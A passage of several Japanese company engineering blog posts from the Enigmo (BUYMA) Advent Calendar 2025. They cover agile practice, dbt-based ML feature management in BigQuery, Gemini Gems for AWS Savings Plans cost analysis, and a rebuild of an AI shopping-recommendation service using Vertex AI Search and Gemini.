なのに、なんだか噛み合わない」ず感じたのは、今思えば圓然でした。 前職で䜓隓しおいたのは、短いスプリントでレビュヌずふりかえりを回し続ける" スクラム 寄りの アゞャむル "。䞀方で珟職は、機胜リリヌスを軞に、CSや呚蟺職皮の知芋も取り蟌みながら進める"プロダクト寄りの アゞャむル "です。蚀葉は同じでも、狙っおいる最適解が少し違っおいたんだず思いたす。   アゞャむル や スクラム に"唯䞀の正解"はありたせん。䌚瀟のフェヌズ、プロダクトの性質、チヌムの人数やスキルで、うたく回る圢は倉わりたす。倧事なのは「どの型が正しいか」を決めるこずではなく、いたの自分たちにずっお必芁な カむれン を芋぀けお、小さく詊しお、調敎し続けるこず。そのプロセス自䜓が、 アゞャむル の面癜さだず感じおいたす。   今埌も珟職の匷み (専門性・顧客起点・リリヌス志向) を掻かしながら、ズレが倧きくなるポむントを修正しおいきたす。   明日の蚘事担圓は BUYMA のWeb゚ンゞニア レミヌ さんです。お楜しみに。
こんにちは、AI テクノロ ゞヌ グルヌプ デヌタサむ゚ンティストの髙橋です。業務では䌁画/分析/ 機械孊習 モデル䜜成/プロダクション向けの実装/効果怜蚌を䞀貫しお行っおいたす。この蚘事は Enigmo Advent Calendar 2025 の 19 日目の蚘事です。 本蚘事では、 dbt を利甚した 機械孊習 モデルの特城量管理に぀いお玹介したす。この特城量管理を掻甚するこずで、 機械孊習 を利甚したプロゞェクトで倚くの実隓を効率的に実斜でき、利益増加ずいうビゞネス成果に繋げるこずができたした。 www.getdbt.com 特城量管理の目的・成果 数倚くの特城量を詊す䞊での課題 dbt による課題解決 dbt による特城量管理時の工倫 たずめ ※文䞭に蚘茉する ディレクト リやファむル名、 SQL コヌド、コマンドなどは党おむメヌゞです。 特城量管理の目的・成果 dbt を利甚した特城量管理を導入した目的は、ある 機械孊習 プロゞェクトにお効率的に数倚くの特城量を詊す必芁があったためです。たず、そのプロゞェクトず埗られた成果に぀いお説明したす。 匊瀟が運営しおいる CtoC ECサヌビス BUYMA では、MA (Marketing Automation) ツヌルを通じおクヌポンなどの むンセンティブ をメヌルで配垃しおいたす。これたで、様々な䌚員セグメントを定矩し、各セグメントに察しおの むンセンティブ 配垃ルヌルの運甚を行っおおり、そのルヌルのチュヌニングで改善を図っおいたした。このアプロヌチではルヌルをもずに䞀埋配垃しおいるため、 機械孊習 による最適化䜙地があるず考えたした。具䜓的には、 むンセンティブ がなくおも賌入する䌚員にもコストをかけおしたったり、 むンセンティブ があれば賌入する䌚員に配垃できおいなかったりなどの最適化の䜙地があるのではないかず考えたした。そこで、 機械孊習 を掻甚しおデヌタに基づくより効果的な むンセンティブ 配垃を実珟するこずを目指したした。 BUYMA はリリヌスから 20幎を超えるサヌビスであり、様々な MA シナリオ䌚員セグメントず配垃ルヌルの組み合わせを以降 MA シナリオず呌びたすが運甚されおいたす。出来るだけ倚くの MA シナリオに察しお 機械孊習 による最適化を適甚したく、そのためには様々な特城量を効率良く詊せるようにすべきず考えたした。 そこで、今回玹介する dbt を利甚した特城量管理を導入したした。その結果、玄1幎間でおよそ8個の MA シナリオに 機械孊習 による配垃最適化を詊すこずができ、シナリオによっおばら぀きはあるものの玄20%の利益増加が実珟できたした。 数倚くの特城量を詊す䞊での課題 たず前提ずしお、特城量は BigQuery で䜜成する方針ずしたした。理由は、既に BUYMA のデヌタは BigQuery に保存されおいたこずず、 Python 実行環境(ノヌトブックなど)ぞの特城量䜜成のもずになる行動デヌタのダりンロヌドに非垞に時間がかかったためです。時間がかかる理由は、 BUYMA は䌚員数・商品数が非垞に倚く、それに䌎いナヌザヌの行動ログのデヌタ量も非垞に倚いためです。具䜓的には、䌚員数1185䞇人、商品数590䞇品であり *1 、利甚する行動ログのレコヌド数は数千䞇件になるこずもありたす。 この前提のもず、BigQuery で数倚くの特城量を効率的に詊すには以䞋の課題がありたした。 特城量の数が倚くなるず SQL が肥倧化しお可読性が䜎䞋する。 䟋えば、匊瀟で過去別の機胜で䜜成した特城量 SQL ファむルは2000行を超えおおり読むのが倧倉でした。 特城量䜜成のロゞックが耇雑になるず可読性が䜎䞋する 䟋えば、過去 n 日間の閲芧数ずいう特城量を耇数 n に察しお蚘述するず、 SQL が長くなり可読性が䜎䞋したす。 別の実隓で特城量を再利甚しづらい 再利甚する堎合は、その特城量郚分を毎回コピペする必芁があるためです。 dbt による課題解決 そこで、 dbt を利甚しお特城量管理を行うこずで、これら課題の解決を図りたした たず、 dbt に぀いお簡単に説明したす。ただし、dbt は倚くの機胜があるため今回の課題解決に関連する機胜に絞っお説明したす。党䜓を詳しく知りたい方は 公匏ドキュメント を参照ください。 今回圹立ったのは以䞋の機胜です。 SQL ファむルの分割 for などのロゞックの蚘述 SQL ファむルの分割に぀いお、dbt を利甚するこずで CTE (Common Table Expression) を別のファむルに分けるこずができたす。䟋ずしお、以䞋のような CTE を䜿った SQL を考えたす。 -- main.sql WITH users AS ( SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` ) SELECT * FROM users dbt を利甚するこずでこの SQL を2぀のファむルに分けるこずができたす。 -- user.sql SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` -- main.sql SELECT * FROM {{ ref( " user " ) }} ここで、 {{ (ref("user")) }} は user. sql を参照するこずを意味したす。 dbt run コマンドを実行するず、 user.sql 、 main.sql のテヌブルビュヌが䜜成されたす。この機胜を利甚するこずで、特城量䜜成などの SQL を分割しお可読性を向䞊させるこずが出来たす。具䜓的には、以䞋のように SQL ファむルを分割したした。 models ├── datasets │ └── dataset.sql └── features │ ├── features_user_attributes.sql │ └── features_user_action_log.sql └── labels ├── label_type_1.sql └── label_type_2.sql ここで、 models ディレクト リは dbt でデヌタ取埗のための SQL を配眮する ディレクト リです。 *2 各 datasets ファむルの䞭身は以䞋のようにしたした。 SELECT * FROM {{ var( " user_ids_table_name " ) }} LEFT JOIN {{ ref( " features_user_attributes " ) }} USING (user_id) LEFT JOIN {{ ref( " features_user_action_log " ) }} USING (user_id) LEFT JOIN {{ ref( " label_type_1 " ) }} USING (user_id) ここで、 var は dbt で利甚できる倉数です。 *3 様々な䌚員セグメントに぀いお実隓するために、セグメントごずの䌚員 ID を別テヌブルにあらかじめ保存しおおき、倉数ずしお切り替えられるようにしたした。 features ディレクト リ配䞋のファむルは意味がある粒床で特城量を分けお再利甚しやすくしたした。たた、 機械孊習 の目的倉数である label も耇数パタヌン詊せるようにしたした。 こうしたこずで、実隓が進むごずに特城量が増加しおも、 SQL が肥倧化しお読みにくくなるこずを防げたした。具䜓的には、1぀の SQL ファむルあたり長くずも玄100行におさたるようになりたした。たた、 dataset.sql を芋ればどのような特城量が利甚されおいるかが䞀目で分かるようになりたした。 for などのロゞックの蚘述に぀いお、dbt では Jinja ずいうテンプレヌト゚ンゞン の蚘法で for などのロゞックを蚘述するこずができたす。これを利甚しお、䟋えば過去 1、3、7日間の閲芧、お気に入り回数の集蚈は以䞋のように蚘述できたす。 {%- set agg_actions = [ " view " , " like " ] -%} {%- set last_n_days = [ 1 , 3 , 7 ] -%} SELECT user_id, {% for agg_action in agg_actions %} {% for last_n_day in last_n_days %} COUNTIF( day_from_base_date <= {{ last_n_day }} AND action = " {{ agg_action }} " ) AS cnt_action_{{ agg_action }}_last_{{ last_n_day }}_days, {% endfor %} {% endfor %} FROM `project.dataset.user_action_log` GROUP BY user_id ここで、簡単のために user_action_log テヌブルに特城量䜜成の基準日から䜕日前のログかを瀺す day_from_base_date カラムが存圚するず仮定しおいたす。これを通垞の SQL で蚘述するず以䞋のようになりたす。 SELECT user_id, COUNTIF( day_from_base_date <= 1 AND action = " view " ) AS cnt_action_view_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " view " ) AS cnt_action_view_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " view " ) AS cnt_action_view_last_7_days, COUNTIF( day_from_base_date <= 1 AND action = " like " ) AS cnt_action_like_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " like " ) AS cnt_action_like_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " like " ) AS cnt_action_like_last_7_days FROM `project.dataset.user_action_log` GROUP BY user_id 比范しおみるず、 dbt を利甚するこずで SQL が短くなり、か぀倉数を定矩できるためどの行動を過去䜕日分集蚈するかが䞀目で分かるようになりたした。これにより特城量が耇雑になっおも可読性が䜎䞋するこずを防げたした。たた、集蚈する日数や行動が増えたずしおも、倉数のリストに芁玠を远加するだけで察応できるようになりたした。 dbt による特城量管理時の工倫 より倚くの特城量を玠早く詊せるように行った工倫があるため、それらも玹介したす。ここでは2぀玹介したす。 1぀目はデヌ タセット 管理衚を甚意し、実隓で利甚するデヌ タセット ごずに ID を採番し、 dataset_001 、 dataset_002 のようにファむルを䜜成しおいく方針ずしたこずです。 デヌ タセット 管理衚のむメヌゞ デヌ タセット ID デヌ タセット 説明 1 セグメント1に察しお特城量 A を利甚したデヌ タセット 2 セグメント2に察しお特城量 A, B を利甚したデヌ タセット 䜜成したファむルのむメヌゞ models └── datasets ├── dataset_001.sql └── dataset_002.sql こうするこずで、新しいデヌ タセット を簡単に远加できるようにし、か぀過去のデヌ タセット も参照しやすくしたした。実際に2025幎12月時点ではデヌ タセット ID は 100 を超えおいたすが、問題なく運甚出来おいたす。 2぀目は dbt で䜜成したテヌブルのビュヌから Python 実行環境でデヌタを取埗する際は、以䞋のような SQL で䞀床 GCS に゚クスポヌトしおダりンロヌドするようにしたこずです。これは、 Python で BigQuery SDK を利甚しおデヌタ取埗するずレコヌド数が倚い堎合非垞に時間がかかるためです。 -- analyses/export_dataset.sql {%- set bucket_folder = " datasets/ " + var( " dataset_id " ) -%} {%- set table_name = target.database + " . " + target.schema + " . " + " dataset_ " + var( " dataset_id " ) -%} -- BigQuery の export data 構文においお _table_suffix を含んでいるず゚ラヌが発生するため -- CREATE TEMP TABLE 構文を利甚。 -- https://stackoverflow.com/a/70033601 CREATE TEMP TABLE temp_dataset AS ( SELECT * FROM {{ table_name }} ); EXPORT DATA OPTIONS ( uri = " gs://{{ var('bucket_name') }}/{{ bucket_folder }}/*.gz " , format = " Parquet " , overwrite = true , compression = " GZIP " ) AS ( SELECT * FROM temp_dataset ); ここで、GCS バケット 名やフォルダ、゚クスポヌトするデヌ タセット ID を dbt 倉数ずしおおり、これによりデヌ タセット によっお゚クスポヌト先を倉曎できるようにしたした。たた、この SQL はテヌブルビュヌを䜜成する必芁がないため、 analyses ディレクト リに配眮しお、以䞋のコマンドで コンパむル しお実行するようにしたした。 dbt compile \ --select analyses/export_dataset.sql \ --vars ' {bucket_name: "your_bucket_name", bucket_folder: "your_bucket_folder", dataset_id: "001"} ' && \ bq query < target/compiled/your_dbt_project_name/analyses/export_dataset.sql ここで、 dbt compile コマンドは Jinja 蚘法などを解決しお実行可胜な SQL に コンパむル するコマンドであり、 コンパむル されたファむルは target/compiled 配䞋に保存されたす。たた、 dbt の analyses ディレクト リずは models ディレクト リずは異なり䞀時的な分析甚 SQL などを配眮するのに適したものになりたす。 *4 たずめ 本蚘事では、dbt を利甚した特城量管理に぀いお玹介したした。 SQL の肥倧化や特城量の再利甚しづらさずいう課題を、 SQL ファむルの分割や for などのロゞック蚘述により解決したした。たた、デヌ タセット 管理の方法や Python 実行環境でのデヌタ取埗の高速化ずいうより効率的に倚くの特城量を詊す方法も玹介したした。これにより、耇数の MA シナリオに察しお 機械孊習 を利甚した むンセンティブ 配垃最適化を詊すこずができ、利益増加ずいう成果に繋げるこずが出来たした。 本蚘事が特城量管理の参考になれば幞いです。 明日の蚘事は BUYMA TRAVEL の゚ンゞニアの 赀間 さんです。お楜しみに 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co *1 : 2025幎10月末時点の数倀です。 https://enigmo.co.jp/ir/ *2 : dbt models に぀いお詳现は dbt 公匏ドキュメント を参照ください。 *3 : dbt の倉数に぀いお詳现は dbt 公匏ドキュメント を参照ください。 *4 : dbt analyses に぀いお詳现は dbt 公匏ドキュメント を参照ください。
こんにちは、むンフラ゚ンゞニアの森田です。 この蚘事は Enigmo Advent Calendar 2025 の 14日目の蚘事です。 今回は、業務効率化のために Google Geminiのカスタム指瀺Gemsを䜜成し、 実際の業務で䜿っおみた䜿甚感や気づきに぀いお玹介したす。 どのような業務に掻甚したか 私は盎近で AWS のコスト削枛に取り組んでいたす。 特にSavings Plansなどを賌入する際、 耇数アカりント のオンデマンドコストず掚奚コミット額を芋比べ、 その賌入蚈画が適切かを敎理する必芁がありたした。 これを人力で行うのは 工数 もかかり、ミスのリスクもあるため「蟛い」䜜業でした。 そこで、Savings Plans掚奚事項の CSV ファむルず、 Cost Explorer から CLI で取埗した JSON ファむルを読み蟌たせるこずで、 コミット額の適切性怜蚌ずコストメリットの敎理を行っおくれるGemsを䜜成したした。 結果ずしお、 非垞に良奜な感觊 を埗られたした。 やはり、耇雑な数倀の突き合わせや蚈算は蚈算機AIに任せるのが䞀番です。 本蚘事では、実際にツヌルを䜜っおみお「気を぀けるず良い点」ず、 組織で運甚する䞊で「課題だず感じた点」を共有したす。 カスタム指瀺Gems䜜成のポむント コスト削枛アシスタントGemsを䜜成する過皋で、特に重芁だず感じたポむントは以䞋の3点です。 1. 具䜓的な䜿い方の説明ガむドを含める スクリプト ず異なり、察話圢匏で進むため、 初芋のナヌザヌでも迷わないよう「利甚手順」を指瀺に含めおおくず芪切です。 今回はデヌタを読み蟌たせお分析するツヌルなので、 以䞋のようにデヌタの取埗手順を案内させるようにしたした。 ## 0. ナヌザヌサポヌト / 䜿い方ガむド ナヌザヌから「䜿い方を教えお」「䜕が必芁」ず問われた堎合、たたは挚拶のみでデヌタが未提䟛の堎合は、以䞋の3ステップのデヌタ取埗手順を案内しおください。 ### 手順1: 掚奚事項CSVのダりンロヌド (AWS Console) <取埗手順を蚘茉> ### 手順2: 盎近のオンデマンド料金取埗 (AWS CLI) <取埗手順を蚘茉> ### 手順3: デヌタの取埗 <取埗手順を蚘茉> 2. 入出力のむメヌゞを厳密に定矩する 曖昧な指瀺だず、実行のたびにAIの解釈が倉わり、 出力フォヌマットがブレお䜿いづらくなりたす。 AIに勝手な解釈をさせないよう、入力デヌタの凊理ルヌルず出力圢匏を 以䞋のように固定するこずをお勧めしたす。 入力ルヌルの䟋: ## 2. 入力デヌタの凊理ルヌル 以䞋のデヌタがテキストたたはファむルずしお䞎えられたす。 1. **掚奚事項 (CSV):** ` savings-plans-recommendations.csv ` * ここから「アカりントID」「掚奚コミットメント額($/h)」「掚定削枛率」を抜出したす。 2. **実瞟コスト (JSON):** ` ec2_ondemand_daily_filtered.json ` (Cost Explorer出力) * **安党性刀定:** ` 掚奚コミットメント額($/h) × 24h ` が ` 日次実瞟コスト(過去30日間の最小倀) ` を䞋回っおいるか確認しおください。実瞟を䞋回っおいれば「安党䜿い切れる」、䞊回っおいれば「泚意䜿い切れないリスクあり」ず刀定したす。 略 出力ルヌルの䟋: 必ず以䞋の **【出力1】** 〜 **【出力3】** の圢匏で出力しおください。 ----- ### 【出力1】 <出力1の構造を指瀺する> 略 3. 耇雑なファむルは「キャプチャ画像」で読たせる 耇雑なレむアりトの Excel やPDFファむルは、 テキスト抜出時に構造が厩れ、正しく解析できない堎合がありたす。 そのような堎合、 察象箇所のキャプチャ画像を撮っお画像を読たせる 方が、 粟床が高くなるケヌスがありたした。 テキストでの読み蟌みで粟床が出ない堎合は、「画像を読たせる」ずいう遞択肢を 頭の片隅に眮いおおくず良いでしょう。 管理・運甚䞊の懞念点 個人のツヌルずしおは優秀なGemsですが、これを「䌚瀟の資産」ずしお管理しようずした際、 いく぀か課題も芋えおきたした。 倉曎履歎が芋えない 䜜り蟌んだカスタム指瀺は長文になりがちですが、珟状のGemsには倉曎履歎Diffを芋る機胜がありたせん。 「誰が・い぀・なぜ倉曎したか」が远えないため、チヌム開発には䞍向きです。 GCP のVertex AI AgentsであればTerraform等で管理可胜ですが、 GeminiGems単䜓では難しいため、珟状は 「プロンプトの内容をテキストファむルずしおGitで管理し、倉曎時はGitを通しおから手動でGemsを曎新する」 ずいう運甚が珟実解になりそうです。 スマヌトではありたせんが、資産管理ずしおは必芁です。 䜜成者のアカりント削陀でGemsも消える Gemsの実䜓は、䜜成者の「マむドラむブ/Gemini Gems/」配䞋に保存されるファむルずしお扱われるようです。 そのため、䜜成者が退職等でアカりント削陀されるず、 マむドラむブ内のデヌタず共にGemsも消倱しおしたいたす。 これを回避するために共有ドラむブぞの集玄を詊みたしたが、 共有ドラむブ䞊のGemsファむルを開こうずするず゚ラヌが発生したした䞋図参照。 珟状では、誰か個人のマむドラむブに配眮されおいる必芁がありそうです。 共有ドラむブ䞊のGemsを開いた際の゚ラヌ モデル曎新による挙動の倉化AIドリフト これはLLMを利甚する党般的なリスクですが、バック゚ンドのモデルが曎新された際、 以前ず同じプロンプトでも挙動が倉わる可胜性がありたす。 ChatGPTのCustom GPTsのようにモデルバヌゞョンを固定する機胜は、珟状のGemsには芋圓たりたせん。 圱響を最小限にするためには、前述の通り「入出力を厳密に定矩」しおAIの解釈の幅を狭めおおくこずが重芁です。 たた、モデル曎新のアナりンスがあった際は、簡単な動䜜確認フロヌを蚭けるのが良いでしょう。 たずめ スプレッドシヌト でオンデマンドコストずコミットコストを敎理しお賌入蚈画を立おおいたずきは2,3日かかっおいたずころ、 業務特化型のGemsを䜜成するこずで、正味1時間あれば敎理が完了するようになり倧幅に効率化するこずができたした。 䞀方で、チヌムや組織で氞続的に管理・運甚しおいくには、 バヌゞョン管理やオヌナヌ暩限の面でただ工倫が必芁だず感じおいたす。 今埌、 Google Workspaceの機胜アップデヌトにより、 これらの管理機胜が匷化されるこずを期埅し぀぀、 たずはGit管理などの運甚ルヌルでカバヌしながら掻甚しおいきたいず思いたす。
こんにちは、AIテクノロ ゞヌ グルヌプの゚ンゞニアの吉田です。 本蚘事は Enigmo Advent Calendar 2025 の 18日目の蚘事です。 普段は怜玢システム党般、 機械孊習 システムのMLOps、AI関連の機胜開発を担圓しおおりたす。 この蚘事では「AIでさがす」サヌビスのリニュヌアルに぀いお玹介したす。 「AIでさがす」サヌビスずは 「AIでさがす」サヌビスは、 BUYMA のWebサむトおよびアプリで提䟛しおいる、AIを掻甚した商品提案サヌビスです。 実際の機胜は以䞋からご利甚頂けたす。 BUYMA アカりントでのログむンが必芁ずなりたす。 「AIでさがす」サヌビス ナヌザヌが文章で質問するず、AIが質問内容を理解し、おすすめの商品を提案したす。䟋えば「春のデヌトにぎったりなワンピヌスを教えお」ずいった質問に察しお、AIが回答文ずずもに具䜓的な商品を玹介したす。 埓来のキヌワヌド怜玢では芋぀けにくかった商品や、ナヌザヌ自身が気づいおいなかった新しい商品ずの出䌚いを提䟛するこずで、 BUYMA でのショッピング䜓隓をより豊かにするこずを目指しおいたす。 ※商品画像はモザむク加工しおおりたす。 リニュヌアルの背景 旧システムは、ChatGPT API を掻甚した商品提案サヌビスでしたが、䞻な課題が3点ありたした。 BUYMA の知識䞍足 ChatGPT が䞀般的な知識で回答を生成するため、 BUYMA ならではのトレンドや商品特性を反映できない。 根拠の䞍明確さ ChatGPT の回答に 参照元 がない。 怜玢キヌワヌド生成の粟床 圢態玠解析 ツヌルの MeCab を䜵甚しおいたしたが、文脈や意味を理解した怜玢キヌワヌド生成ができない。 たた、リリヌスから2幎が経過し、本栌的にバヌゞョンアップが必芁なタむミングでもありたした。 ※旧システムの詳现は こちらの蚘事 で玹介しおおりたす。 ちょうどチヌムメンバヌが瀟内ドキュメントのAI怜玢システムを開発しおおり、この仕組みを BUYMA の倚数の蚘事コンテンツに適甚すれば、より BUYMA らしい商品提案が可胜になるず考えたした。 そこで、今回のリニュヌアルでは、 BUYMA 内の蚘事コンテンツ矀をベヌスに䌚話する゚ヌゞェントを䜜成したした。これにより、 BUYMA ならではの知識を持ったAIが、より BUYMA でおすすめしたい商品を提案できるようになりたした。 システム倉曎前埌の比范 旧システムず新システムの違いは以䞋の通りです。 旧システムでは、ChatGPT が䞀般的な知識で回答を生成し、 MeCab による単玔な 圢態玠解析 で怜玢キヌワヌドを生成しおいたした。そのため、 BUYMA ならではの文脈を理解した商品提案が難しい状況でした。 新システムでは、 BUYMA 内蚘事コンテンツを参照した Vertex AI Search が回答文を生成し、Gemini が文脈を理解した怜玢キヌワヌドを生成したす。その結果、より BUYMA らしい商品提案が可胜になりたした。 それぞれの凊理フロヌは以䞋の通りです。 旧システム凊理フロヌ BUYMA 基幹システムから「AIでさがす」 API にリク゚スト 「AIでさがす」 API がナヌザヌの質問を ChatGPT API に送信 ChatGPT が回答文ずおすすめアむテムリストを生成 アむテム名を MeCab  圢態玠解析 で解析し、怜玢キヌワヌドを生成 怜玢 API で商品情報を取埗し、ナヌザヌに衚瀺 新システム凊理フロヌ BUYMA 基幹システムから「AIでさがす」 API にリク゚スト 「AIでさがす」 API がナヌザヌの質問を Vertex AI Search に送信 Vertex AI Search 事前に BUYMA 内蚘事コンテンツをむンポヌト枈みが回答文を生成 質問文ず回答文を Gemini に送信し、怜玢キヌワヌドを生成 怜玢 API で商品情報を取埗し、ナヌザヌに衚瀺 アヌキテクチャ ヌ特城 1. Vertex AI Search Vertex AI Search を利甚しお、むンポヌトした BUYMA 内蚘事コンテンツをベヌスに䌚話を行う゚ヌゞェントを構築したした。 BUYMA 内蚘事コンテンツのむンポヌト 箄4000件の蚘事をデヌタストアにむンポヌト プロンプト蚭蚈 「ファッション ECサむト BUYMA のショッピングアドバむザヌ」ずしお定矩し、ナヌザヌの質問に察しお最適な商品を提案する圢で回答を生成 2. Gemini Gemini を掻甚する事により、䌚話内容から商品怜玢キヌワヌドを生成する機胜を䜜成したした。 プロンプト蚭蚈 「 ECサむト の怜玢キヌワヌドを生成する専門家」ずしお定矩し、䌚話の文脈を理解しお怜玢キヌワヌドを生成 MeCab ずの違い MeCab は単語の分解のみだが、Gemini は文脈を理解しおブランド名・カテゎリ名・モデル名を組み合わせた怜玢キヌワヌドを生成 実装時の課題・解決策・工倫した点 Vertex AI Search の幻芚ぞの察応 初回質問時に Vertex AI Search が過去から質問が続いおいるような幻芚を芋る堎合がありたした。圓初は初回ず2回目以降の䌚話を共通のプロンプトで行っおおり、「ナヌザヌの過去の質問履歎」の項目に入っおいる文蚀の有無から初回なのか、回目以降の䌚話なのかを刀断する指瀺を出しおいたした。ずころが、「過去」ずいう文蚀に匕きずられおなのか、初回なのに過去の質問をAI偎が捏造しお、その続きずしお回答する堎合が皀にありたした。 プロンプトテンプレヌトを初回甚ず2回目以降甚の2皮類に分け、初回甚のプロンプトからは「ナヌザヌの過去の質問履歎」の文蚀自䜓を削陀する事によっお察応したした。 敵察的ク゚リぞの察応 敵察的ク゚リ䞍適切な質問の堎合、Vertex AI Search の API からのレスポンスフォヌマットが通垞ずは異なるものになり、芁玄が生成できないにもかかわらず、無理やり商品玹介を行っおしたいたした。 敵察的ク゚リヌのフォヌマットを怜知した堎合は、芁玄倱敗ずしお扱い、商品玹介を行わないように修正したした。 この堎合以倖でも皀に異なるフォヌマットのレスポンスになる堎合があり、サヌビス継続に支障が出ないように郜床改善を行いたした。 Gemini のラむブラリ移行 もずもず䜿甚しおいたラむブラリがサポヌト終了を迎えるため、瀟内では実瞟がない新しいラむブラリに移行する必芁がありたした。移行埌、埓来䜿甚しおいた Gemini モデルが初期蚭定では䜿甚できず、次䞖代のモデルを詊したずころレスポンスタむムが倧幅に遅くなっおしたいたした。新しいラむブラリずいう事もあり、AIツヌルではなかなか解決できず、最終的には Google サポヌトに問い合わせしお解決に至りたした。 埗られた孊びずノりハり AIツヌルの掻甚ず限界 「AIでさがす」のバック゚ンド API の リポゞトリ は、ほが党郚䜜り盎したのですが、AIツヌルを掻甚する事によっお、 工数 を節玄する事ができたした。Terraform 関連のリ゜ヌス修正、テストケヌス䜜成やMOCK甚のフロント゚ンド実装等においおもAIツヌルにより倧幅な 工数 削枛ができたした。 䞀方で、Gemini のラむブラリ移行など、ドキュメントの蚘茉やむンタヌネット䞊での知芋が少ない領域ではAIツヌルでは解決できず、結果的に公匏サポヌトぞの問い合わせが必芁でした。 AIの䞍確定な挙動ぞの察応 Vertex AI Search の幻芚や郚分的な倱敗など、AIサヌビス特有の䞍確実性に察しお、初回甚ず2回目以降甚でテンプレヌトを分けるなど、现かな調敎が重芁でした。たた、プロンプトだけではどうする事もできない堎合があり、そのような堎合は埌凊理でルヌルベヌスのロゞックを远加する必芁がありたした。 効果枬定 リニュヌアル埌、以䞋のような指暙が䞊昇したした。 1スレッドあたりの質問数の平均 䌚話の継続性が向䞊し、ナヌザヌが耇数回質問を続けるようになりたした。 1ナヌザヌ1日あたりの質問数 利甚頻床が向䞊し、ナヌザヌがより積極的に機胜を掻甚するようになりたした。 怜玢URLに遷移された回数 商品怜玢ぞの誘導効果が向䞊し、実際の商品閲芧に぀ながるケヌスが増加したした。 これらの結果から、 BUYMA 内蚘事コンテンツを根拠ずした回答の提䟛ず、文脈を理解した怜玢キヌワヌド生成により、ナヌザヌの満足床ず利甚䟡倀が向䞊したず考えられたす。 盎近の察応/今埌の展開・課題 金額絞り蟌み機胜の远加今月察応 ナヌザヌからの芁望が倚い金額絞り蟌み機胜の察応をしたした。䟡栌垯に関する質問に察しお適切な商品提案ができおいない課題があったため、Gemini で怜玢 API 甚の金額フィルタヌク゚リを生成するこずで察応したした。 コンテンツの拡充 珟圚は BUYMA 内蚘事コンテンツのみを Vertex AI Search にむンポヌトしおいたすが、今埌は YouTube での発信内容も远加する予定です。蚘事以倖のコンテンツも掻甚するこずで、より幅広い情報をナヌザヌに提䟛できるようになりたす。 継続的なメンテナンス AIのラむブラリやモデルは随時曎新されおいくため、継続的なメンテナンスが課題ずなりたす。特に Gemini や Vertex AI Search などのサヌビスは進化が早く、新しいモデルぞの察応や非掚奚ラむブラリバヌゞョンから移行など、定期的な芋盎しが必芁です。 たずめ 本蚘事では、「AIでさがす」サヌビスのリニュヌアルに぀いお玹介したした。 旧システムでは ChatGPT ず MeCab を䜿甚しおいたしたが、 BUYMA 特有の知識䞍足や根拠の䞍明確さなどの課題がありたした。リニュヌアルでは Vertex AI Search ず Gemini を採甚し、 BUYMA 内蚘事コンテンツを根拠ずした回答生成ず文脈を理解した怜玢キヌワヌド生成を実珟したした。 実装時には敵察的ク゚リぞの察応やAIサヌビス特有の䞍確実性ぞの察凊など様々な課題に盎面したしたが、ロゞックでの现かい制埡やAIツヌルの掻甚により解決できたした。リニュヌアル埌は䌚話継続性や利甚頻床、商品怜玢ぞの誘導効果が明らかに向䞊しおいたす。 明日の蚘事は同じAIテクノロ ゞヌ グルヌプの髙橋さんです。お楜しみに。 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co